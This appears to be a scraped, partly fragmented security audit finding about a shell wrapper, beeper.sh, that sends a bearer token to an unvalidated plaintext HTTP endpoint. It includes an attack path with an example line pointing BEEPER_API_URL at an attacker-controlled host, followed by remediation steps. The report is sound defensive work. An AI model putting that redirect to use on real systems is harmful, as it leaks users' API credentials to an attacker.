T09 · Insecure Skill Coding Practices
- Location
beeper.sh:11- Finding
Bearer Token Exposure Through an Unvalidated Plaintext API Endpoint
- Content
View full analysis
/dev/null 2>&1 } ``` The associated documentation explicitly recommends plaintext HTTP for remote access: ```bash export BEEPER_API_URL="http://192.168.1.100:23373" export BEEPER_TOKEN="your-token-here" ``` ### Technical Analysis The wrapper accepts `BEEPER_API_URL` directly from the process environment and does not validate its scheme, hostname, port, or destination. The `is_beeper_api_ready` function then includes the sensitive `BEEPER_TOKEN` in an HTTP `Authorization` header sent to that endpoint. The loopback default limits exposure in the default configuration. However, the documented remote configuration uses plaintext HTTP, and the implementation permits arbitrary environment-controlled destinations. Consequently: 1. A remote HTTP connection exposes the bearer token to network interception. 2. A manipulated environment can redirect the readiness request to an attacker-controlled server. 3. The wrapper sends the token before executing the requested CLI operation, so even a read-only command triggers credential disclosure. No command injection is required. Control over the environment variable or the network path is sufficient. ### Attack Path 1. An attacker influences the environment in which the wrapper runs, such as through a launcher, shell profile, CI configuration, automation service, or compromised parent process. 2. The attacker sets: ```bash export BEEPER_API_URL="http://attacker-controlled.example:23373" ``` 3. The user invokes any wrapper command. 4. `is_beeper_api_ready` sends: ```http Authorization: Bearer- Remediation
View remediation
&2 exit 1 ;; esac ``` 4. Preserve TLS certificate verification. Do not add `curl -k` or `--insecure`. 5. For remote access, place the API behind a properly authenticated TLS proxy or use a secure tunnel such as SSH or a private VPN rather than transmitting the bearer token over plaintext HTTP. 6. Update `SKILL.md` to remove plaintext remote HTTP examples and explain that remote endpoints must use authenticated encryption. 7. Regenerate any token that may previously have been transmitted over an untrusted network. ]]>
